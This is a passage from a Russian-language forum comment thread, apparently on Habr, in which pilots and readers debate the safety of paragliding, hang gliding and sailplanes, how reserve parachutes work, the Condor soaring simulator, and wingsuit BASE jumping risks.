найдут…

ПС: Я уверен, что аналогичные вещи можно сказать и про обсуждаемые здесь СЛА, но к сожалению я с ними не знаком совсем.
faiwer
Запаска — это не какое-то чудесное средство, которое при активировании волшебным образом усаживет вас из опасной ситуации прямо в мягкое кресло перед телевизором. Это всего лишь дополнительный шанс.

Во-первых, надо ещё активировать спасательную систему. Далеко не всегда это легко и просто. Во-воторых, активировать её нужным образом (как минимум, достаточно сильно бросить в нужном направлении чтобы не замоталась вокруг пилота — падение часто связано с вращением, и чтобы расчековался конверт). Роликов когда человек падает, а рядом с ним падает нерасчековавшаяся запаска в интернетах полно. В-третьих, принять меры, чтобы запаска не стала с куполов в «колокол». Это часто не просто, тк у парапланеристов, как правило, нет системы экстренной отцепки основного купола. В-остальных — надо умудриться остаться сколько-нибудь целым на посадке. Пара-дельта запаски ради экономии веса и объёма довольно небольшой площади. Что означает повышенную скорость снижения. Плюс, не дай бог, раскачка. Сама посадка, как вы понимаете, происходит не в относительно безопасной дроп-зоне, а на местность довольно непредсказуемую, часто это горы, скалы и прочие гребеня. В общем, посадка на запаске — это «развлечение» сильно ниже среднего. Существует печальное, но реальное выражение, — запаска спасает жизнь, но не ноги. Ко всему прочему, в отличии от парашютистов, парапланеристы редко тренируют стандартное парашютное приземление с гашением энергии кувырками и, к примеру, в горных условиях воздух менее плотный и посадочные скорости ещё выше. В общем, риск что-нибудь сломать довольно велик и, иногда это что-то, может быть чем-то жизненно важным.

Что касается столкновений, тут всё сильно по-разному. Бывают чудеса необычайные, когда один пилот влетает в купол другому, верхний вводит запаску и держит за купол нижнего вплоть до приземления. Двое на одной хилой запаске и отделываются общим испугом и порваным снаряжением. Случай такой, по-моему, на горе Клементьева был. А бывают и смертельные случаи. На той же Клемухе произошла не одна смерть в результате столкновений… Это не афишируют, но таких случаев есть. :( Был смертельный случай при столкновении парапланериста с дельтой. Не помню где…

В общем, запаска — это всего лишь возможность ею воспользоваться. Она реально спасает и, по большому счёту, ни кто не летает без запасок (ну, почти ни кто — у нас зимой в динамике часто летают без, тк высота мала, меньше «паспортной» у запасок). Но, далеко не всегда. А иногда может принести и вред.
Mendel
Скажите, а у парапланов запаски круглые или крыло?
и почему нет отцепки?
dime
Круглые. Со втянутой вершиной для более быстрого раскрытия. Неуправляемые, то есть совсем.
Причина отсутствия отцепок — обычно, за живучесть борятся до последнего, поэтому типичная высота ввода запаски довольно низкая (отсюда и требование к быстрому раскрытию — в паспортах говорится о минимальных 70 метрах, но случаи успешных применений были и на 30 и ниже). Здесь режим — сначала отцепка купола, потом ввод запаски не работает в принципе.

Далее — минимизация веса. Отсюда запаски, по большому счёту, не расчитаны на раскрытие из свободного падения. Поэтому их вводят совместно с куполом, который скорость всегда гасит. Не знаю, правда, что здесь причина, что следствие.

Ну, и кроме основных карабинов, купол, как правило, соединён с подвеской системой акселерации — для изменения геометрии крыла с целью увеличения горизонтальной скорости (при этом страдает «устойчивость» и выше шанс получить сложение, а сам режим протикает сложнее). В принципе, всё это относительно решаемо но за счёт усложнения системы, которое не всегда оправдано.

А вообще, системы свозможностью отцепки есть. Применяются, в основном, акропилотами. Так же есть и управляемые запаски (типа «крыло Рогалло» — такие треугольненькие, у парашютистов есть подобная — ПЗ-чего-то там) у которых в требованиях значится отцепка основного купола. Почти закономерно отсюда вытекает, что и управляемые запаски применяются, в основном, теми же акропилотами. Они, обычно, летают с двумя запасками, вот одну часто берут управляемую, а вторую круглую.

В недавнее время, возможно, свершилась небольшая революция и появилась любопытная модель, совмещающая оба подхода — то же крыло Рогалло, сконструированное так, чтобы быть устойчивым и с [около]нулевой горизонтальной скоростью — при вводе клеванты зачекованы именно в таком положении. Поэтому можно вводить без отцепа основного купола — скорость снижения при этом даже ниже типичных круглых. Ну, и пока болтаешься и есть высота можно что-то сделать с крылом — погасить-подтянуть к себе или отцепить если есть отцепка. А потом расчековать клеванты запаски и попытаться вырулить к более хорошей посадке, если ещё осталось время. Но цена там около 700 евро пока…
Mendel
Спасибо за статью. Приятно, что нашелся доброволец решившийся осветить тему безмоторных полетов на IT ресурсе. Иногда, статьи «не в тему» бывают «суицидальны» :). Я с 1999 года летаю с дельтапланерным клубом, и концентрация ITшников у нас, тянет процентов на 90. Похожую картину наблюдаю и в других клубах.

Что касается комментария dime: в целом, он достаточно верно придрался к подаче материала. Про простоту обучения написано конечно красиво, но тут стоит сделать ряд оговорок. Да, научиться рулить дельтапланом или парапланом можно за пару недель тренировок на горе. После такого, действительно хочется заявить, что «научиться летать — это просто». Но, увы, это заблуждение — легко научиться рулить, но не летать.

Дельтапланеризм — это технический спорт, где надо помимо руления, взлета и посадки, требуется умение прогнозировать развитие различных процессов и взаимодействия крыла с воздухом. Нельзя просто взять и прекратить полет — это очень существенное отличие от большинства классических видов спорта. Может понадобится несколько лет, что бы достичь уровня, достаточного для самостоятельной организации полетов.

Для того, что бы различать пилотов по степени мастерства, существуют спортивные разряды формальные критерии. Международный стандарт по обучению и безопасности в дельтапланерном спорте SafePro (а для парапланов ParaPro) помимо рекомендаций инструкторам, устанавливает такие критерии.

Существует 5 ступеней мастерства:
* I и II ступени: на этом минимальном уровне, обычно заканчивается базовый курс обучения, который предлагают летные школы и клубы. Тут действительно можно провести параллель с «автомобильными курсами». :)
* III и IV ступень: пилот осваивает парение — еще одно базовое умение, которое необходимо освоить, что бы летать маршрутные полеты. Сначала в очень простых условиях, когда нет турбулентности, в так называемом «динамике» (восходящем потоке, образующемся вдоль горного хребта или гребня). Затем, плавно переходя к потокам, которые образуются в результате конвективного теплообмена. Это очень опасный этап, т.к. обычно на нем появляется риск переоценки своих способностей — Синдром Икара.
* V ступень — верх технического мастерства. Пилот освоивший эту ступень, способен «не случайно» держаться в воздухе и летать по запланированному маршруту (а не сдуваться с потоком по ветру).

Про пилота, перешедшего на IV ступень, уже можно сказать, что он более-менее умеет летать.

Ну и несколько оговорок у материалу о дельтапланах:

Можно летать без помощи клуба. Взял и полетел. Но кто то должен вас забрать на машине, если вы приземлитесь вне аэродрома.

Опасное утверждение. Дельтапланеризм — очень коллективный спорт. Формально, на полетах должно быть не менее 3х человек. В реальности, люди объединяются в клубы или неформальные организации, что бы летать и минимизировать проблемы.

Спортивные дельтапланы крутят некоторые фигуры высшего пилотажа.

Крутить то они крутят, но не редко это печально заканчивается. Почти все производители снимают с себя ответственность за аэробатику и пишут в мануалах, что крыло предназначено для полетов с углами тангажа и крена -15 — +15 градусов.

Для взлета нужна или гора или буксировщик. С равнины самостоятельно взлететь невозможно.

Для взлета нужна или гора, лебедка или буксировщик. Безмоторные аппараты, в принципе, не могут самостоятельно взлететь с равнины, т.к. у них нет запаса энергии (кинетическая — скорость, потенциальная — высота).

Спортивный дельтаплан стоит около 4000$.

Современный спортивный «безмачтовый» дельтаплан в базовой комплектации можно заказать от 5000 евро. Карбоновые опции и парус из более легкого материала, увеличат стоимость.

Хотите экстрима и ветра в лицо — дельтаплан или параплан.

Про экстрим dime хорошо написал.
Еще предлагаю вспомнить, как вы в детстве летали во сне… сидя? стоя? лежа? может в ступе? Лежачая поза дельтапланериста — это наиболее близкое к увиденному во сне и естественное положение.

Еще раз спасибо за пост. Надеюсь мой комментарий окажется полезным для людей заинтересовавшихся дельтапланерным спортом. В личке, могу подсказать клубы в СНГ, где можно начать обучение полетам на дельтаплане.
dime
Очень дельные замечания! Отпишу вам в личке, как доберусь до компьютера.
HangGlider
Внес доработки в статью после обсуждения в личке.
Genius_A
>Мистер троль, ваш рейтинг и карма

Мистер кармадрочер, я рад, что хоть кого-то волнует моя карма :). Но, судя по тому, что вы перешли на личности, по теме вам возразить нечего.

>У вас какой налет

Вы чем хотите померяться? Я летаю с 2004 года с некоторыми перерывами на раздробленную в хлам ногу :( и рождениями детишек :). Участвовал в соревнованиях. Снимал пилотов с деревьев. Вывозил с поломанными ногами. Видел столкновения в воздухе с порваным пополам куполом и запасками, сам еле ушёл от столкновения с нежданно скакнувшим наперерез курсантом (кстати, на упомянутой горе Клементьева), дискотеки с запасками, сломаные ноги, руки и позвоночники, погибшего дельтика… Но налёт не очень большой, на параплане налётывать многия часы сложнее, чем на планере, так что у вас, несомненно, толще.

> и в каком клубе?

Спросите ещё, — кто инструктор? :) В каком-то клубе я, вроде бы, формально числюсь. Так проще актуализировать FAIшную лицензию, но парапланеристы в клубах нуждаются, пожалуй, в наименьшей степени среди летающего народа (за исключением коммерческих интересов).
Genius_A
По теме ответил в смежных ветках комментов. Дублировать сюда нет смысла.
Впрочем, в том числе и по вашим замечаниям, внес доработки в статью.

dime
Со многим вышеизложенным согласен, но вот это сильно смутило:
Кроме того, само занятие на несколько порядков опаснее вождения автомобиля.
Вы хорошо понимаете, что такое «несколько порядков»? И водите ли вы автомобиль? Я вот считаю, что вождение значительно опаснее полётов на дельтаплане. Чуть ли не ежедневно я попадаю в около-аварийные ситуации, которые каким то чудом не случаются. Концентрация дебилов на дорогах (по крайней мере в СНГ) зашкаливает.
Genius_A
Авария на автомобиле в 99% случаев Вам не несет угрозы (ну если не таран). Ущерб будет кошельку…
faiwer
C 99% вы перегибаете палку. Зимой на гололёде, на моноприводе, по загородней дороге, которая зачастую из себя представляет что-то вроде начинающейся колеи… Мне довольно часто приходится так ездить.
strib
Ладно, не 99%, но 95%…
www.vashamashina.ru/statistics_traffic_accident.html#
Вы попадали в аварию? Допустим зеркалом задевали кого то, или во время парковки…
Для велосипедиста вероятность пострадать в аварии стремится к 100%.
Для летуна тоже.
faiwer
И это только зарегистрированные ДТП, сколько еще на месте решают и не регистрируют…
strib
около 90% аварий с участием велосипедистов — подрезают на перекрестке, трогаясь со светофора направо. Скорости до 10-15 кмч. В большинстве этих аварий велосипедист ограничивается ушибом — скорости никакие.
strib
Ушиб — есть травма, автомобилисты отделываются в случае легкой аварии только заменой фары. На более высокой скорости все хуже. Да и на 15 кмч войти лицом в асфальт удовольствие сомнительное.
nekt
>Вы хорошо понимаете, что такое «несколько порядков»?

Понимаю хорошо. Наверное на несколько порядков из тех нескольких переборщил :)

>И водите ли вы автомобиль?

угу

>Я вот считаю, что вождение значительно опаснее полётов на дельтаплане.

Разница в цене. Разбитая фара очень сильно не эквивалента сломаной ноге, а помятое крыло перелому позвоночника.

>Чуть ли не ежедневно я попадаю в около-аварийные ситуации, которые каким то чудом не случаются.

Может сами как-то не так водите или у вас фатальная невезуха? Я вот нахожу подавляющее большинство окружающих водителей вполне вменяемыми и корректными. А когда только начинал водить уступали в ситуациях когда я по неопытности совершал ошибки и был не прав. Помню сильно удивлялся, тк наслушался таких вот баек, что на дорогах все дебилы…

Тут… понимаете… Старт… Сколько народу побилась на стартах — ужос. Посадка… Вотще! Иногда приходится садиться в таких гребенях… В полёте тоже всякое случается…
Топикстартер стартует с аэродрома, летает на большой высоте вокруг и на тот же аэродром садится. Погоду за него оценивает весь персонал аэродрома, при изменениях ему выдают приказ на посадку. Тут совершенно другое. Ему не приходилось садиться в горах на склон с сыпухой, он не представляет что значит «выживать» над скальником дожидаясь пузыря и проносясь вплотную к торчащим скальным зубьям, нет ситуации когда его бы заперло в ущелье «эффектом Вентури» (а на дне ущелья — горая речка и камни размером с грузовик), ему не страшен «срез ветров», который дельтаплан складывает как раскладушку, а параплан завязывает в три бантика…

Наверное, в отношении планёра, можно хоть как-то сопоставить опасность с автомобилем. И то, в основном потому, что планеристов очень мало. Даже с дельтиками, которых всего чутка побольше, чем планеристов, уже совершенно другой расклад. А уж с массовым парапланеризмом счёт действительно в порядках.
strib
Вот, тут мне есть что ответить!

Да, планеризм во много раз безопасней не только ввиду характеристик планера, а ввиду общей организации полетов.
Парапланеристы — народ самостоятельный, взял и полетел. При этом присутствует не правильная оценка погодных и своих возможностей условий ввиду неопытности. Планерист не полетит делать то, чего еще не умеет т.к. у него есть четкое задание где ему можно летать. Если его квалификация не позволяет ему отлетать от аэродрома, то он и висит над ним.
Когда планерист дорос до маршрутов, то его лишь изредка контролируют по радиосвязи. Полет над лесом — для меня единственная «стремная» ситуация. Если этого леса километров 20, а высот у меня лишь 1000м. Но даже в этих случаях есть очень четкие инструкции что и когда нужно делать что бы не допустить опасного снижения. Если допустил снижение до 300м — обязан приземляться. Бываю посадки в пахоту, откуда планер потом пол дня джипом вытаскиваем. Но человек и планер всегда остается цел.
Вопрос только в подходе к полетам. Если человек лезет в проблемы, то потом с героическим лицом их преодолевает или сливается и его вытаскивают поломанного. Мы изначально знаем как недопустить проблем.

В статье действительно несколько приукрашен парапланеризм, и лишь потому, что первоначальный вид статьи, где описывалась реальная опасность параплана была забракована самими парапланеристами как «страшилка».

Я летаю в основном по треугольным маршрутам до 400км, а не над аэродромом. Это скромно для планера, но когда мой инструктор решит, что могу летать и больше, то полечу.

А садимся мы довольно часто на площадки вне аэродрома. И для нас такая посадка значительно сложнее, чем для параплана. Нам хотя бы 200м ровной поверхности надо. Причем, обычно садимся так, что бы и самолет мог прилететь и забрать.

Планеристов действительно меньше, но не на соревенованиях. Там их столько же, только скоростя у всех побольше чем у парапланов.
nekt
Дело не в только и не столько в подходе. Лётные характеристики сильно разные. У вас типичные переходы — это десятки километров. У нас — еденицы, а при небольшом встречном ветре и меньше километра бывают. Стиль полётов совершенно разный. Поэтому, если у вас нет посадки в радиусе 10 км, то есть в 20, в 30 в 40… И вы всегда должны летать с гарантированным долётом до посадки. И у вас они на карты нанесены, ага? А у нас, если не видно вблизи, то, возможно, её нет совсем… И по-другому просто не получается во многих случаях. Ну, да мы можем притереться прямо на склон или на небольшую площадку или вершинку холма и это, конечно же, куда «легче» 200 метровой полосы :). Но и последствия соответствующие. И 200 метровое поле — это, да счастье. Место на нём для безопасной посадки, скорее всего, найдётся. А если это полянка впритык, то любая невидимая издалека особенность — это потенциальная катастрофа…
dime
Вопрос в том, зачем лезть в проблемы. Умение парить безопасно — это по сути умение остановится вовремя. Всегда сохранять резерв высоты/скорости и в случае его потери производить безопасную посадку. Нам тоже иногда на соревнованиях дают маршрут которые никто не пролетает и все садятся по площадкам. А это означает, что всех теперь нужно или самолетом забирать (если площадка для этого пригодна) или ехать с телегой и разбирать планер. Все осознают риск не правильно подобранной площадки и ее подбор начинается имея в запасе достаточно высоты для маневра.

На Украине нет карт площадок т.к. мы часто садимся на поля. А при полетах в горах обычно есть четкая инструкция где и на какой высоте можно находится. Только опускаешься ниже, должен сесть именно на этот аэродром (их там много).
Genius_A
Добавлю тут, что в Англии, где я летал — управление планером разрешено с 14 лет, а автомобилем — с 17. (И одновременно со мной в том же клубе училась летать 14-летняя ученица.)
Английские законодатели признают, что автомобилем управлять существенно сложнее, ведь он и сам существенно сложнее, чем планер.

А разбиться от неумелого управления можно и на велосипеде — не в полёте опасность.
dime
А садимся мы довольно часто на площадки вне аэродрома. И для нас такая посадка значительно сложнее, чем для параплана. Нам хотя бы 200м ровной поверхности надо. Причем, обычно садимся так, что бы и самолет мог прилететь и забрать.

А в процитированном здесь замечательном gerchikov.narod.ru/YAW2fly/index3.htm:
Что подходит для посадки глайдера? На удивление немного. Раньше, когда глайдеры были железные и летали медленнее, можно было сесть практически на любой пятачок более или менее плоской поверхности, и при этом не повредить ни себя, ни глайдер. Но времена меняются, и глайдеры тоже. В погоне за производительностью возросли скорости, а в борьбе за аэродинамическое качество конструкции становятся все более хрупкими. Современный глайдер, с огромным размахом тонких пластиковых крыльев нельзя надеяться посадить не повредив в высокую траву или даже невысокие, но исключительно жесткие кустики пустынной полыни, которой как назло покрыта большая территория пустыни. Т.е. конечно, для здоровья пилота это в подавляющем большинстве случаев не опасно, но матчасть можно попортить очень основательно, а она, в отличие от старой железной, еще и дорога — и сама по себе, и в ремонте. Ну и совершенно и очевидно не подходят для посадки: горы, лес, вода, дороги… Да-да, дороги тоже. Во-первых, потому что с пятнадцатью метрами размаха крыльев в большинство дорог не вписаться, особенно если есть разделительная полоса посередине и/или вешки с отражателями вдоль обочины. Во-вторых — и это намного неприятнее — потому что над дорогами часто протянуты провода, абсолютно невидимые до самого последнего момента.

Надо здесь заметить, что даже посадка в самом неподходящем для посадки месте обычно вредит бумажнику, но не здоровью. Даже современные высокопроизводительные глайдеры обеспечивают пилоту надежную защиту. Т.е. если конечно это не посадка методом лобового удара в скалу, то от всего остального — включая посадку на дороги, траву, кустарник и даже на лес — наверняка уйдешь пешком. И от кустарника, и от леса, и… от бесполезной груды белой пластмассы, но зато своим ходом. Нет, сам не пробовал, спасибо большое.
Genius_A
Знакомый парапланерист, примерно так отзывался сравнивания с ездой на мото: да, мото опасно, но здесь ты хотя бы видишь опасность, на параплане же например, восходящий поток может появиться буквально на ровном месте — поле вспахано, черное сильнее нагревается, и этого достаточно при неправильном пилотировании чтобы он «завернулся».

(Мото — эндуро, поэтому идиотов на дорогах, в расчет не брали.)
tyomitch
Ну тут тоже слегка условно все… когда я еду на эндуро по незнакомой горной дороге и за очередной кочкой встречаю вымоину пол-метра глубиной — можно сказать что опасности я не видел :) И все что можно сделать что бы не попасть туда — лишь выбирать скорость согласно _ предполагаемой_ вероятности встретить опасность за очередным поворотом.

Так же и парапланерист учится заранее, для того что бы знать, что бывает при полетах вдоль вспаханного поля, границы леса или перегибов гор.

Что бы заниматься спортом безопасно, нужно всегда оставлять себе запас по условиям (дорожным, полета, заплыва, ...) и активно учиться предсказывать трассу или читать происходящее в воздухе вокруг :)
tyomitch
А не нужно откручивать на незнакомой местности! :) (без гида)

Понятно, что можно и на ровном месте разложится. Тут слишком много нюансов чтобы можно было свести к формуле с вероятностями, взять хотя бы точность оценки _предполагаемой_ вероятности, ведь она может отличаться на порядок. Поэтому, я склонен больше доверять экспертному мнению.
vf1
По моему мнению, автомобились и передвижение на нём по федеральным трассам опаснее чем полёты на ЛА. И боюсь я именно ездить на машине, нежели летать. Кроме того, летать для меня это удовольствие, водить машину — это тяжелый труд.

А еще я боюсь высоты. Но такой, когда стоишь на балконе. А когда внизу Google Maps, то чего его бояться.
Antares19
Летуны бьются много чаще любых других outdoor активистов. Насмотрелся. Сам люблю поучаствовать в авантюрах, но в параплан не сяду, особенно в горах. Насмотрелся.
Автор, не надо звать в объективно опасный вид новичков, кому надо — придут самостоятельно.

dime, выше, дал развернутый комментарий, добавить в деталях особо нечего.
vf1
Я лишь информирую о существовании такой возможности.
indoor активности конечно безопасней.

Люди вообще часто находят себе проблемы если не в состоянии предсказывать последствие своих поступков. Авиация просто наказывает строже. Но если человек с трезвым умом, то проблем, как правило, не возникает.
leksey
Ну да, сам вдел как на ровном месте складывало крылья неожиданным порывом. Про соревнования парапланеров вообще молчу.
Не путайте типы риска, субъективная опасность — она примерно одинакова, а вот объективная опасность в воздухе (у легких летунов) высокая.

Каждому свое, я сам люблю нифига не безопасное времяпрепровождение, только вот так агитировать — дурной тон… Человек должен сам прийти, т.к опасность объективна.
strib
Я лишь информирую о такой возможности. Большинство людей ведь не знают даже о таком.
А если говорить профессиональней, безопасность полета связана с нагрузкой на крыло. Хотите парить безопасно — летайте на планере. Там ничего не схлопнется.
Genius_A
Чаще говорите, на популярных европейских склонах я не редко наблюдал труповозки, в среднем где-то три мешка в неделю.
(Я статистики не вёл, просто так, случайно мимо проезжал.)
И это как правило не экстрималы, а просто так, обыватель с друзьями выбрался на склон, на лыжах с горы покататься, или корпоративная вылазка на тот свет :-)
Там где больше опасности, внимания и требований к себе больше, а смерть, она обычно находит своих клиентов там, где они совсем этого не ожидают…

Так-что при всей опасности, аэродромы видят трупы совсем не часто.
strib
Риски хорошо бы делить на субъективные и объективные.
Если человек не смотрит по сторонам, то имеет шанс убиться у себя в ванной. При том у случайных людей субъективные риски всегда выше.
Genius_A
Казалось бы, текст сухой, однако ссылки текст разбавляют, читать-смотреть интересно. :) А что касается летать или не летать — я сначала посмотрю, чем окончится обсуждение с оратором выше, который настроен куда более скептически.
SADKO
Мне там отвечать не на что. Одно словоблудие.
Общий тон сформулирован выводом «А общий принцип простой — можете не летать — НЕ ЛЕТАЙТЕ! Серьёзно.»

Есть такая формула — если человек ищет неудач, то они с ним случатся.
strib
Очень полезный текст gerchikov.narod.ru/YAW2fly/index1.htm
Athari
Да. Планерный must read для русскоязычных.
Genius_A
Судя по описанию — опаснее всего из перечисленного это планер. Практически все риски моторного самолета + почти полная зависимость от окружающей среды. Я сильно ошибаюсь?
EndUser
Что бы что то доказать нужно оперировать статистикой. А ее не существует. Планер проще в обучении. Безопасней для полета в районе аэродрома. А как дойдете до уровня самостоятельного парения в районе аэродрома — решайте сами опасно ли отлетать подальше.

Еще одно важное замечание: планерная школа построена в СССР и очень четко регламентирована. Написаны специальные учебники по организации полетов, которыми мы руководствуемся по сей день. Для парапланов и дельтапланов такой школы нет. Там многое зависит от опыта вашего инструктора и общей организации.
leksey
а как безмоторный планер взлетает?
разгоняется с шасси?
Mokkey
Или самолет тянет на веревке или лебедка.
На видео есть это.
Genius_A
Помню, интересовался этой темой, и натыкался на этих ребят: e12n.narod.ru/simple.html
Мотодельтаплан по сути полноценный летательный аппарат в самом незатейливом форм-факторе — к дельте добавил тележку и мотор, и вот и ноги защищены, и нагрузки на тело в полете убираются, я правильно понимаю?
santeri
Понимаете правильно, только тоже самое относится и к планеру.
Про мотодельты в след. статье.
Genius_A
Ноги защищены весьма относительно — тележка из дюралевых трубок и ломается на раз.
Assargin
Ну какая никакая а защита.
Даже банальный эластичный бинт намотанный на голеностоп и тот заметно уменьшает шанс травмы при не очень удачном контакте с землей.
По идее когда тележка поломается — ноги без тележки вероятнее всего тоже были бы поломаны или связки порваны…
Genius_A
Про парашюты что-ли запилить пост?
Или Хабр только для АйТишников? =)
AlexSky
Статистика говорит, что лишь 9% считают что хабр для айтишников.
Пишите =)
Mendel
Хабр таки для айтишников. Но иногда (не злоупотребляя) очень полезно разбавить ИТ-шные статьи чем-то интересным из других областей.
Ваша статья прекрасный тому пример, спасибо за нее. Хоть сам в небо и не планирую (хватило одного прыжка с парашютом), но для развития было очень познавательно почитать.
skygad
Я решил что для тяпницы эта статья подойдет. =)
Genius_A
А можно подробности куда в Киеве обращаться?
opanas
Ко мне в личку. У нас в воскрсенье собрание клуба. Там будут новые вводные на сезон.
Genius_A
Сорри, невнимательно прочитал. Вопрос не мне был.
Nvc
Кому понравилась статья, но есть сложности начать летать в реале, рекомендую начать хотя бы виртуально.
Для планеров есть хорошийсимулятор, где регулярно проводятся соревнования. Называется Condor: The Competition Soaring Simulator. Есть русскоязычное сообщество, где в частности можно узнать, что благодаря компании 1С у нас есть возможность покупать Кондор гораздо дешевле, чем в Европе.
Есть клуб виртуальных пилотов, где они меряются своими пипись можно зарегистрироваться и после совместных полетов засылать свои треки, чтобы выявить лучшего пилота.
Стоит отметить, что в нелетный сезон (а она у планеров практически с конца осени до начала весны) в виртуале можно встретить немало реальных пилотов настоящих планеров, где они оттачивают свои навыки центрирования термиков и скоростных полетов по маршрутам вместе со всеми.
Вот, например, так выглядит моя летная книжка в этом году. Если зарегистрироваться на сайте, то можно увидеть и треки полетов со всей статистикой.

Eвропейские цены такие, чтобы начать летать:
Сам симулятор с базовым набором планеров
Condor: The Competition Soaring Simulator — 39.99€

На текущий момент существует два дополнительных пакета планеров:
Condor Plane Pack 1 — 10.00€
Condor Plane Pack 2 — 15.00€

Несколько видео того, как это выглядит:

Genius_A
Кондор — единственный симулятор в который летают планеристы.
Но в реале все же вкуснее летать.
skygad
Согласен это лучший симулятор полета что я знаю, ощущения оч. сравнимы с реальными.
Особенно интересно после реальных полетов. Когда организм еще помнит холодок в спине после разворота на горке, или переворота. КРАСОТИЩА!
Dimchansky
Все хочу попробовать. Но останавливает отсутствие джойстика с руд и педалей. А также неуверенность, что в юниксах Кондор запустится. Да. И где купить этот Кондор от 1С. Или скачать.

P.S. А вы знаете о том, что существует в России самодёльный симулятор на базе Кондора и кабины от Бланика. Там есть закрылки, интерцепторы и glass cockpit. Кручение головой реализовано.
Genius_A
Вот тут в теме обсуждают установку Condor под Linux. Не знаю, сам не пробовал, но вроде говорят, что запускаемо, пусть и с некоторыми проблемами.

Было бы интересно увидеть на видео, как выглядит тот самодельный симулятор. Я пока видел только такую версию.
audiserg
Фотографий нет. Все реализовано кроме закрылок. Там в Кондоре они как-то хитро опрашивают, как я понял. И, главное, как я понял, большого интереса автор не увидел к своему детищу. Поэтому и прекратил развивать.
leksey
Вот еще один вариант симулятора на базе Кондор с кабиной нашел на ютубе.
Dimchansky
этот лучше не брать вроде, лучше официальный с сайта
leksey
почему?
Dimchansky
вроде что то там урезанное. Или с обновлением проблемы, где то попадалась информация сейчас не вспомню.
audiserg
… Полет — это искусство, а точнее сказать, навык. Весь фокус в том, чтобы научиться швыряться своим телом в земную поверхность и при этом промахиваться.
<…>
От вас требуется одно — решительно кинуться вниз, не боясь ожидающей вас физической боли. То есть больно будет, если вам не удастся промахнуться мимо земли. Большинству людей промахнуться не удается, и чем больше усилий они прилагают, тем крупнее вероятность столкновения с землей. Безусловно, вся сложность во втором этапе — в промахивании. Главное — промахнуться мимо земли случайно. Нет смысла специально стараться пролететь мимо, поскольку это просто невозможно. Нет, вся штука в том, что на полдороге к земле вы должны на что-то отвлечься, позабыв и о перспективе падения, и о земле, и о том, как вам будет больно, если не удастся промахнуться.
leksey
А что за рассказ? Не доводилось еще такого читать.
audiserg
Это из серии «Автостопом по Галактике» Дугласа Адамса. Шедевр юмористической фантастики.
andrewsh
По моему ничего из вышеперечисленного не сравнится с этим :)

Genius_A
Мечта! Очень круто, но очень дорого и долго учиться. Как минимум несколько сотен прыжков. В режиме «по выходным» это несколько сезонов.
Coob
Сложно дорого вы это о чём?

Несколько сотен — не сотен а тысяч, несколько сотен обычных прыжков с парашютом скайдайверских потом бейс — потом обучение полёту на винсьюте — потом винсьют бейс — и если будете живы — то потом вот так.

Но это же мечта! чего не сделаешь ради мечты? обучиться так летать стоит меньше чем автомобиль средней ценовой категории — или сопоставимо — время — а на что вам время? да хоть десять лет потратить что бы такое увидеть своими глазами а не в ютубе — это разве много?

вот свежее вчерашнее практически

Dyo
Первый этап — несколько сотен обычных прыжков. Дальше тренировки с вингсьютом, уже радость. А в горы совсем нескоро.

А вот дешевле автомобиля не получится. Полавтомобиля за оборудование. Полавтомобиля за первые 300 прыжков. Либо у нас разные представления о «средней ценовой категории»…
vdustinov
Да конечно я про горы и имел ввиду, с самолёта можно начать прыгать на вингсьюте имея всего 200 прыжков — сам хочу сделать ещё сотню — и пробовать на винге, а вот BASE винг — это уже совсем совсем другое.

multik
А после прыжков с парашютом парапланы, конечно, вообще не воспринимаются.
vdustinov
Я редиска, думал в far cry выдумали такой костюм.
multik
Современный вингсьют изобрели в середине 90х задолго до фар края :)
vdustinov
Очень много народу убилось с этим wingsuit.
Meliborn
Ещё больше умерло дома сидя на диване.
Dyo
не так уж и много общая бейс статистика смертности порядка 10%
megaweber
Может я чего недопонимаю, но мне 10% кажутся просто астрономическим числом, применительно к смертности.
Wayfarer
Это мало? Я не могу что-то найти статистику, которую читал, но как мне помнится из основных активистов этого спорта только несколько остались в живых.
multik
Это не мало. Из основных активистов их осталось больше чем несколько. Вот все спортсмены (B.A.S.E) за все времена www.basenumbers.org/ то есть их порядка 1600, но это только зарегистрированные спортсмены, которые прыгнули с каждого из 4х типов объектов. Регистрация свободная — по заявке. В действительности таких людей на планете более 1600, просто не все регистрируются, и не все прыгают со всех типов объектов.

Вот список погибших www.blincmagazine.com/forum/wiki/BASE_Fatality_List о которых поступила информация — она близка к реальному показателю, погибшие в Крыму там тоже есть, и данные обновляются постоянно. В этой статистике не только спортсмены из прошлого списка, но и другие — то есть те, которые не прыгнули со всех типов объектов.

B.A.S.E
Building (здание)
Antenna (антенна)
Span (перекрытие, мост)
Earth (земля)

Наличие вингсьюта — необязательно (оба списка статистики общие), с вингсьютом прыгают, как правило уже очень опытные бэйсеры, и смертность там уже ниже, за счёт того что уровень профессионализма выше. Просто прыгать с вингсьютом — можно и из самолёта, с обычных 4200 метров, для этого надо иметь всего порядка 200 прыжков — сам планирую в ближайшие пару лет научится на нём летать, но это ни в какое сравнение не идёт с тем видео которое выложено выше мной или Вдустиновым
faiwer
Когда мне плохо я смотрю это видео.
megaweber
Сам летаю на параплане и всем советую. Я думаю каждый обязан научится на нем летать. Это легче чем встать на лыжи! Через 10 минут после первого ознакомительного полета с инструктором, полетел сам один! С рацией, на учебном, очень стабильном крыле, сказали не дергатся. сказали что будет прямой маршрут, типа взлетел полетел прямо, сел на поле. Но не тут то было. выдался не большой маршрутный полет с поворатами, зигзагами, заканчивающемся полем, оврагом, кустарником, и приближающимся ЛЭПом (во время первого полета конечно я все особенно сильно ощущал). В конце концов удачно завернул, покружил, и сел без сучка и задоринки в чистом поле, не на жопу а на ноги, и без травм!
Вобщем круто, всем советую кто живет рядом с нормальными спотами для параглайдинга.
multik
Выше правильно написали: можете не летать — не летайте.
То что ты написал это из разряда — повезло, что не убился в первом полете. Аккуратнее при обучении и при последующих самостоятельный полетах, раздел Мемориал на парафоруме не просто так пополняется.
xskrip
Не все так плохо!… «просто повезло что не убился при первом» Ха!
iDen
Звучит страшно. Или у страха глаза велики…
DmitryLoki
Мое первое парение на планере было на 600 метрах в слабом потоке, где я держался 20минут. И как только снизился до 500м сразу пошел на посадку. Хотя мог до 400м еще летать и был с хорошим резервом высоты и четким пониманием что делать.
iDen
Раньше сильно боялся самолетов (почему-то переживал за свой желудок), поэтому ограничивался только подъемами в один конец — обратно с парашютом) Примерно под тысячу прыгов первый раз попробовал на ЯК-52. Понял, что вобщем-то, бывают занятия и поинтересней парашютов.
Еще вызывает уважение один дядя, который за 4 года в гараже собрал двухместный самолет. Качество сборки поражает. www.reaa.ru/cgi-bin/yabb/YaBB.pl?num=1220554869
Genius_A
В таких случаях лучше покупать КИТ-набор и собирать самолет по готовым инструкциям. Это как лего, только на выходе самолет. =)
Genius_A
